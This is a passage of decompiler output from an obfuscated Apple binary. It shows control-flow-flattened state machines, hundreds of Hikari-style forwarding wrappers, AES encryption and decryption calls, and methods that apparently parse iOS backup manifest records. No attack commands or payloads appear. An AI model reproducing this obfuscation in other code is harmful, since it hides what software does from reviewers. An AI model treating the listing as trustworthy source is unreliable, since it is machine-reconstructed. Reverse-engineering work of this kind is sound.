if ( v61 == -333198127 )
{
v34 = (char *)HikariFunctionWrapper_681_0(v70, v71) + 16;
dataOut = HikariFunctionWrapper_683_0((size_t)v34);
*dataOutMoved = 0;
objc_retainAutorelease(v67);
v63 = "bytes";
v35 = objc_msgSend(v67, "bytes");
objc_retainAutorelease(v73);
v36 = objc_msgSend(v73, v63);
objc_retainAutorelease(v70);
v37 = objc_msgSend(v70, v63);
v38 = objc_msgSend(v70, v71);
v39 = CCCrypt(0, 0, 1u, v35, 0x20u, v36, v37, (size_t)v38, dataOut, (size_t)v34, dataOutMoved);
v77 = v39 == 0;
v9 = 1;
v60 = v39;
v3 = -1008615640;
v10 = -333198127;
goto LABEL_191;
}
if ( v61 == -234038357 )
*v79 = 1262847074;
}
else
{
switch ( v61 )
{
case -226386458:
*v79 = 1088106487;
break;
case -97440844:
v7 = 1;
v3 = 1807829960;
v8 = -658391487;
goto LABEL_171;
case -62647350:
*v79 = -659607008;
break;
}
}
}
if ( v61 <= -1284386982 )
break;
if ( v61 <= -1015023920 )
{
if ( v61 > -1231591402 )
{
if ( v61 == -1231591401 )
{
v7 = 1;
v3 = 319255857;
v8 = -1316984777;
goto LABEL_171;
}
if ( v61 == -1192670928 )
{
v15 = (unsigned __int64)HikariFunctionWrapper_699_0(v70, v71);
v16 = (v15 ^ 0x10) + 2 * (v15 & 0x10);
v17 = HikariFunctionWrapper_701_0(v16);
*dataOutMoved = 0;
objc_retainAutorelease(v67);
v18 = objc_msgSend(v67, "bytes");
objc_retainAutorelease(v73);
v19 = HikariFunctionWrapper_703_0(v73, "bytes");
objc_retainAutorelease(v70);
v20 = objc_msgSend(v70, "bytes");
v21 = objc_msgSend(v70, v71);
CCCrypt(0, 0, 1u, v18, 0x20u, v19, v20, (size_t)v21, v17, v16, dataOutMoved);
*v79 = -333198127;
}
}
else if ( v61 == -1284386981 )
{
v24 = HikariFunctionWrapper_705_0(v53, v54);
v25 = objc_retainAutoreleasedReturnValue(v24);
objc_msgSend(v25, "appendData:", v64);
objc_retainAutorelease(v25);
*v79 = 1708293996;
}
else if ( v61 == -1257639945 )
{
objc_retainAutorelease(v73);
v14 = objc_msgSend(v73, "mutableBytes");
SecRandomCopyBytes((SecRandomRef)0xFFFFFFFFFFFFFFFFLL, 0x10u, v14);
*v79 = -1710888764;
}
}
else if ( v61 <= -1004107210 )
{
if ( v61 == -1015023919 )
{
v9 = 0;
v3 = 1844094435;
v10 = 79025110;
goto LABEL_191;
}
if ( v61 == -1008615640 )
{
v2 = !v77;
v3 = -1004107209;
v4 = -1015023919;
goto LABEL_179;
}
}
else
{
switch ( v61 )
{
case -1004107209:
goto LABEL_196;
case -955261621:
v11 = 0;
v3 = 1863941980;
v12 = 751875259;
goto LABEL_163;
case -795099813:
v9 = 1;
v3 = -1710888764;
v10 = -1257639945;
goto LABEL_191;
}
}
}
if ( v61 <= -1710888765 )
break;
if ( v61 <= -1406679654 )
{
if ( v61 == -1710888764 )
{
objc_retainAutorelease(v73);
v42 = HikariFunctionWrapper_677(v73, "mutableBytes");
v76 = HikariFunctionWrapper_679((const __SecRandom *)0xFFFFFFFFFFFFFFFFLL, 0x10u, v42) == 0;
v9 = 1;
v3 = 1134900698;
v10 = -1710888764;
goto LABEL_191;
}
if ( v61 == -1544422259 )
*v79 = -2124920920;
}
else
{
switch ( v61 )
{
case -1406679653:
*v79 = 386823006;
break;
case -1348564842:
*v79 = 120824369;
break;
case -1316984777:
v49 = "dataUsingEncoding:";
v5 = objc_msgSend(v66, "dataUsingEncoding:", 4);
v6 = objc_retainAutoreleasedReturnValue(v5);
v7 = 1;
v67 = v6;
v3 = 319255857;
v8 = -500894292;
goto LABEL_171;
}
}
}
if ( v61 <= -2045651135 )
break;
if ( v61 == -2045651134 )
{
objc_release(v64);
v9 = 1;
v3 = -630899844;
v10 = 1166833579;
goto LABEL_191;
}
if ( v61 == -1773011921 )
*v79 = 1149551337;
}
if ( v61 == -2124920920 )
{
v11 = 0;
v3 = 1003738108;
v12 = -1544422259;
goto LABEL_163;
}
if ( v61 != -2083008217 )
break;
v13 = HikariFunctionWrapper_691_0(&OBJC_CLASS___NSString, "stringWithString:");
v52 = objc_retainAutoreleasedReturnValue(v13);
objc_release(v62);
*v79 = -955261621;
}
}
while ( v61 != -2106914192 );
v46 = v57;
objc_release(v73);
objc_release(v66);
objc_release(v65);
return objc_autoreleaseReturnValue(v46);
}
// 10029F744: using guessed type int dword_10029F744;
//----- (0000000100231D70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_11(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100231D80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_597(void *a1, const char *a2)
{
return HikariFunctionWrapper_11(a1, a2);
}
//----- (0000000100231D90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_598(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100231DA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_599(void *a1, const char *a2)
{
return HikariFunctionWrapper_598(a1, a2);
}
//----- (0000000100231DB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_600(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100231DC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_601(void *a1, const char *a2)
{
return HikariFunctionWrapper_600(a1, a2);
}
//----- (0000000100231DD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_602(void *a1, void *a2)
{
return AES256DecryptWithData(a1, a2);
}
//----- (0000000100231DE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_603(void *a1, void *a2)
{
return HikariFunctionWrapper_602(a1, a2);
}
//----- (0000000100231DF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_604(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100231E00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_605(void *a1, const char *a2)
{
return HikariFunctionWrapper_604(a1, a2);
}
//----- (0000000100231E10) ----------------------------------------------------
id HikariFunctionWrapper_606()
{
return TemporaryDir();
}
//----- (0000000100231E20) ----------------------------------------------------
id HikariFunctionWrapper_607()
{
return HikariFunctionWrapper_606();
}
//----- (0000000100231E30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_608(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100231E40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_609(void *a1, const char *a2)
{
return HikariFunctionWrapper_608(a1, a2);
}
//----- (0000000100231E50) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_610(size_t a1)
{
return malloc(a1);
}
//----- (0000000100231E60) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_611(size_t a1)
{
return HikariFunctionWrapper_610(a1);
}
//----- (0000000100231E70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_612(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100231E80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_613(void *a1, const char *a2)
{
return HikariFunctionWrapper_612(a1, a2);
}
//----- (0000000100231E90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_614(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100231EA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_615(void *a1, const char *a2)
{
return HikariFunctionWrapper_614(a1, a2);
}
//----- (0000000100231EB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_616(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100231EC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_617(void *a1, const char *a2)
{
return HikariFunctionWrapper_616(a1, a2);
}
//----- (0000000100231ED0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_618(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100231EE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_619(void *a1, const char *a2)
{
return HikariFunctionWrapper_618(a1, a2);
}
//----- (0000000100231EF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_620(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100231F00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_621(void *a1, const char *a2)
{
return HikariFunctionWrapper_620(a1, a2);
}
//----- (0000000100231F10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_622(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100231F20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_623(void *a1, const char *a2)
{
return HikariFunctionWrapper_622(a1, a2);
}
//----- (0000000100231F30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_624(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100231F40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_625(void *a1, const char *a2)
{
return HikariFunctionWrapper_624(a1, a2);
}
//----- (0000000100231F50) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_626(size_t a1)
{
return malloc(a1);
}
//----- (0000000100231F60) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_627(size_t a1)
{
return HikariFunctionWrapper_626(a1);
}
//----- (0000000100231F70) ----------------------------------------------------
CCCryptorStatus __fastcall HikariFunctionWrapper_628(
CCOperation a1,
CCAlgorithm a2,
CCOptions a3,
const void *a4,
size_t a5,
const void *a6,
void *dataIn,
size_t dataInLength,
void *dataOut,
size_t dataOutAvailable,
size_t *dataOutMoved)
{
return CCCrypt(a1, a2, a3, a4, a5, a6, dataIn, dataInLength, dataOut, dataOutAvailable, dataOutMoved);
}
//----- (0000000100231FC0) ----------------------------------------------------
CCCryptorStatus __fastcall HikariFunctionWrapper_629(
CCOperation a1,
CCAlgorithm a2,
CCOptions a3,
const void *a4,
size_t a5,
const void *a6,
void *a7,
size_t a8,
void *a9,
size_t a10,
size_t *a11)
{
return HikariFunctionWrapper_628(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
}
//----- (0000000100232010) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_630(void *a1)
{
free(a1);
}
//----- (0000000100232020) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_631(void *a1)
{
HikariFunctionWrapper_630(a1);
}
//----- (0000000100232030) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_632(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232040) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_633(void *a1, const char *a2)
{
return HikariFunctionWrapper_632(a1, a2);
}
//----- (0000000100232050) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_634(size_t a1)
{
return malloc(a1);
}
//----- (0000000100232060) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_635(size_t a1)
{
return HikariFunctionWrapper_634(a1);
}
//----- (0000000100232070) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_636(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232080) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_637(void *a1, const char *a2)
{
return HikariFunctionWrapper_636(a1, a2);
}
//----- (0000000100232090) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_638(void *a1)
{
free(a1);
}
//----- (00000001002320A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_639(void *a1)
{
HikariFunctionWrapper_638(a1);
}
//----- (00000001002320B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_640(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002320C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_641(void *a1, const char *a2)
{
return HikariFunctionWrapper_640(a1, a2);
}
//----- (00000001002320D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_642(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002320E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_643(void *a1, const char *a2)
{
return HikariFunctionWrapper_642(a1, a2);
}
//----- (00000001002320F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_644(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232100) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_645(void *a1, const char *a2)
{
return HikariFunctionWrapper_644(a1, a2);
}
//----- (0000000100232110) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_646(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232120) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_647(void *a1, const char *a2)
{
return HikariFunctionWrapper_646(a1, a2);
}
//----- (0000000100232130) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_648(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232140) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_649(void *a1, const char *a2)
{
return HikariFunctionWrapper_648(a1, a2);
}
//----- (0000000100232150) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_650(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232160) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_651(void *a1, const char *a2)
{
return HikariFunctionWrapper_650(a1, a2);
}
//----- (0000000100232170) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_652(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232180) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_653(void *a1, const char *a2)
{
return HikariFunctionWrapper_652(a1, a2);
}
//----- (0000000100232190) ----------------------------------------------------
CCCryptorStatus __fastcall HikariFunctionWrapper_654(
CCOperation a1,
CCAlgorithm a2,
CCOptions a3,
const void *a4,
size_t a5,
const void *a6,
void *dataIn,
size_t dataInLength,
void *dataOut,
size_t dataOutAvailable,
size_t *dataOutMoved)
{
return CCCrypt(a1, a2, a3, a4, a5, a6, dataIn, dataInLength, dataOut, dataOutAvailable, dataOutMoved);
}
//----- (00000001002321E0) ----------------------------------------------------
CCCryptorStatus __fastcall HikariFunctionWrapper_655(
CCOperation a1,
CCAlgorithm a2,
CCOptions a3,
const void *a4,
size_t a5,
const void *a6,
void *a7,
size_t a8,
void *a9,
size_t a10,
size_t *a11)
{
return HikariFunctionWrapper_654(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
}
//----- (0000000100232230) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_656(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232240) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_657(void *a1, const char *a2)
{
return HikariFunctionWrapper_656(a1, a2);
}
//----- (0000000100232250) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_658(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232260) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_659(void *a1, const char *a2)
{
return HikariFunctionWrapper_658(a1, a2);
}
//----- (0000000100232270) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_660(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232280) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_661(void *a1, const char *a2)
{
return HikariFunctionWrapper_660(a1, a2);
}
//----- (0000000100232290) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_662(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002322A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_663(void *a1, const char *a2)
{
HikariFunctionWrapper_662(a1, a2);
}
//----- (00000001002322B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_664(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002322C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_665(void *a1, const char *a2)
{
return HikariFunctionWrapper_664(a1, a2);
}
//----- (00000001002322D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_666(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (00000001002322E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_667(objc_class *a1)
{
return HikariFunctionWrapper_666(a1);
}
//----- (00000001002322F0) ----------------------------------------------------
CCCryptorStatus __fastcall HikariFunctionWrapper_668(
CCOperation a1,
CCAlgorithm a2,
CCOptions a3,
const void *a4,
size_t a5,
const void *a6,
void *dataIn,
size_t dataInLength,
void *dataOut,
size_t dataOutAvailable,
size_t *dataOutMoved)
{
return CCCrypt(a1, a2, a3, a4, a5, a6, dataIn, dataInLength, dataOut, dataOutAvailable, dataOutMoved);
}
//----- (0000000100232340) ----------------------------------------------------
CCCryptorStatus __fastcall HikariFunctionWrapper_669(
CCOperation a1,
CCAlgorithm a2,
CCOptions a3,
const void *a4,
size_t a5,
const void *a6,
void *a7,
size_t a8,
void *a9,
size_t a10,
size_t *a11)
{
return HikariFunctionWrapper_668(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
}
//----- (0000000100232390) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_670(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (00000001002323A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_671(objc_class *a1)
{
return HikariFunctionWrapper_670(a1);
}
//----- (00000001002323B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_672(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002323C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_673(void *a1, const char *a2)
{
return HikariFunctionWrapper_672(a1, a2);
}
//----- (00000001002323D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_674(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002323E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_675(void *a1, const char *a2)
{
return HikariFunctionWrapper_674(a1, a2);
}
//----- (00000001002323F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_676(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232400) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_677(void *a1, const char *a2)
{
return HikariFunctionWrapper_676(a1, a2);
}
//----- (0000000100232410) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_678(const __SecRandom *a1, size_t a2, void *a3)
{
return SecRandomCopyBytes(a1, a2, a3);
}
//----- (0000000100232420) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_679(const __SecRandom *a1, size_t a2, void *a3)
{
return HikariFunctionWrapper_678(a1, a2, a3);
}
//----- (0000000100232430) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_680_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232440) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_681_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_680_0(a1, a2);
}
//----- (0000000100232450) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_682_0(size_t a1)
{
return malloc(a1);
}
//----- (0000000100232460) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_683_0(size_t a1)
{
return HikariFunctionWrapper_682_0(a1);
}
//----- (0000000100232470) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_684_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232480) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_685_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_684_0(a1, a2);
}
//----- (0000000100232490) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_686_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002324A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_687_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_686_0(a1, a2);
}
//----- (00000001002324B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_688_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002324C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_689_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_688_0(a1, a2);
}
//----- (00000001002324D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_690_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002324E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_691_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_690_0(a1, a2);
}
//----- (00000001002324F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_692_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100232500) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_693_0(void *a1, const char *a2)
{
HikariFunctionWrapper_692_0(a1, a2);
}
//----- (0000000100232510) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_694_0(void *a1)
{
free(a1);
}
//----- (0000000100232520) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_695_0(void *a1)
{
HikariFunctionWrapper_694_0(a1);
}
//----- (0000000100232530) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_696_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232540) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_697_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_696_0(a1, a2);
}
//----- (0000000100232550) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_698_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100232560) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_699_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_698_0(a1, a2);
}
//----- (0000000100232570) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_700_0(size_t a1)
{
return malloc(a1);
}
//----- (0000000100232580) ----------------------------------------------------
void *__fastcall HikariFunctionWrapper_701_0(size_t a1)
{
return HikariFunctionWrapper_700_0(a1);
}
//----- (0000000100232590) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_702_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002325A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_703_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_702_0(a1, a2);
}
//----- (00000001002325B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_704_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002325C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_705_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_704_0(a1, a2);
}
//----- (00000001002325D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_706_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002325E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_707_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_706_0(a1, a2);
}
//----- (00000001002325F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_708_0(void *a1)
{
free(a1);
}
//----- (0000000100232600) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_709_0(void *a1)
{
HikariFunctionWrapper_708_0(a1);
}
//----- (0000000100232610) ----------------------------------------------------
id __cdecl +[MbdbRecord readStringWithData:atOffset:](id a1, SEL a2, id a3, unsigned __int64 *a4)
{
char v6; // cf
int v7; // eax
id v8; // rax
id v9; // r15
int v10; // ecx
id v11; // rax
id v12; // r15
bool v13; // cf
int v14; // ecx
int v15; // eax
id v16; // rax
__CFString *v18; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v19; // [rsp+8h] [rbp-88h]
Class v20; // [rsp+10h] [rbp-80h]
id v21; // [rsp+18h] [rbp-78h]
unsigned __int64 v22; // [rsp+20h] [rbp-70h]
__int64 v23; // [rsp+28h] [rbp-68h]
SEL v24; // [rsp+30h] [rbp-60h]
__CFString *v25; // [rsp+38h] [rbp-58h]
unsigned int v26; // [rsp+40h] [rbp-50h]
int v27; // [rsp+44h] [rbp-4Ch] BYREF
id v28; // [rsp+48h] [rbp-48h]
_WORD *v29; // [rsp+50h] [rbp-40h]
bool v30; // [rsp+5Fh] [rbp-31h]
int *v31; // [rsp+60h] [rbp-30h]
v26 = -1962391034;
v27 = 800324973;
v31 = &v27;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v27 <= -82441728 )
{
if ( v27 > -933723944 )
{
if ( v27 > -484386027 )
{
switch ( v27 )
{
case -484386026:
v16 = HikariFunctionWrapper_696_1(v20);
v13 = 1;
v21 = v16;
v22 = *a4;
v23 = (unsigned __int16)*v29;
v24 = "subdataWithRange:";
v7 = -1650513417;
v14 = 634121748;
goto LABEL_64;
case -305942957:
v6 = 1;
v7 = -484386026;
v10 = -1650513417;
LABEL_52:
if ( !v6 )
v7 = v10;
LABEL_66:
*v31 = v7;
break;
case -211072154:
*a4 = v19;
*v31 = -1798115840;
break;
}
}
else
{
switch ( v27 )
{
case -933723943:
v29 = &v18 - 2;
objc_retain(a3);
v7 = -1383850750;
goto LABEL_66;
case -627658462:
v13 = 0;
v20 = (Class)&OBJC_CLASS___NSString;
v7 = 651885201;
LABEL_49:
v14 = -627658462;
LABEL_64:
if ( v13 )
v7 = v14;
goto LABEL_66;
case -498253063:
v28 = v25;
v6 = 0;
v7 = 1757542505;
LABEL_33:
v10 = -956565507;
goto LABEL_52;
}
}
}
else if ( v27 > -1383850751 )
{
switch ( v27 )
{
case -1383850750:
*v31 = 795650641;
break;
case -1036127391:
v7 = -1798115840;
goto LABEL_66;
case -956565507:
objc_release(a3);
objc_autoreleaseReturnValue(v28);
v6 = 1;
v7 = 655097757;
goto LABEL_33;
}
}
else
{
switch ( v27 )
{
case -1798115840:
*a4 = v19;
v30 = *v29 == 0xFFFF;
v7 = 311669658;
goto LABEL_66;
case -1650513417:
objc_alloc(v20);
*v31 = -484386026;
break;
case -1614883450:
*v31 = -498253063;
v25 = v18;
break;
}
}
}
if ( v27 <= 800324972 )
break;
if ( v27 > 1757542504 )
{
switch ( v27 )
{
case 1757542505:
objc_release(a3);
objc_autoreleaseReturnValue(v28);
*v31 = -956565507;
break;
case 1893965980:
v13 = 1;
v7 = -82441727;
goto LABEL_49;
case 2124186314:
v8 = objc_msgSend(a3, v24, v22, v23);
v9 = objc_retainAutoreleasedReturnValue(v8);
HikariFunctionWrapper_700_1(v21, "initWithData:encoding:");
objc_release(v9);
*a4 += (unsigned __int16)*v29;
*v31 = 919884563;
break;
}
}
else
{
switch ( v27 )
{
case 800324973:
v13 = v26 < 0xADF3A0AE;
v7 = 1707222101;
v14 = -933723943;
goto LABEL_64;
case 919884563:
v11 = HikariFunctionWrapper_698_1(a3, v24);
v12 = objc_retainAutoreleasedReturnValue(v11);
v18 = (__CFString *)objc_msgSend(v21, "initWithData:encoding:", v12, 4);
objc_release(v12);
*a4 += (unsigned __int16)*v29;
v7 = -1614883450;
goto LABEL_66;
case 1707222101:
objc_retain(a3);
*v31 = -933723943;
break;
}
}
}
if ( v27 > 651885200 )
break;
switch ( v27 )
{
case -82441727:
*v31 = -627658462;
break;
case 311669658:
v15 = 1893965980;
if ( v30 )
v15 = -498253063;
*v31 = v15;
v25 = &stru_10025B688;
break;
case 634121748:
*v31 = 747451071;
break;
}
}
if ( v27 <= 747451070 )
break;
if ( v27 == 747451071 )
{
v7 = 919884563;
goto LABEL_66;
}
if ( v27 == 795650641 )
{
objc_msgSend(a3, "getBytes:range:", v29, *a4, 2);
v19 = (*a4 ^ 2) + 2 * (*a4 & 2);
*v31 = -1036127391;
}
}
if ( v27 != 651885201 )
break;
*v31 = -305942957;
}
}
while ( v27 != 655097757 );
return v28;
}
// 10025B688: using guessed type __CFString stru_10025B688;
//----- (0000000100232D2B) ----------------------------------------------------
id __cdecl +[MbdbRecord readBytesWithData:atOffset:length:](
id a1,
SEL a2,
id a3,
unsigned __int64 *a4,
unsigned __int16 *a5)
{
bool v8; // zf
int v9; // eax
int v10; // ecx
id v11; // rax
char v12; // cf
int v13; // ecx
char v14; // cf
int v15; // ecx
id v16; // rax
id v17; // rax
id v18; // rax
id v19; // rax
id v20; // rax
unsigned __int16 v21; // cx
unsigned __int64 v23; // [rsp+0h] [rbp-90h]
id v24; // [rsp+8h] [rbp-88h]
id v25; // [rsp+10h] [rbp-80h]
unsigned __int64 v26; // [rsp+18h] [rbp-78h]
id v27; // [rsp+20h] [rbp-70h]
const char *v28; // [rsp+28h] [rbp-68h]
__int64 v29; // [rsp+30h] [rbp-60h]
unsigned __int64 v30; // [rsp+38h] [rbp-58h]
void *v31; // [rsp+40h] [rbp-50h]
int v32; // [rsp+4Ch] [rbp-44h] BYREF
id v33; // [rsp+50h] [rbp-40h]
unsigned __int16 v34; // [rsp+5Ch] [rbp-34h]
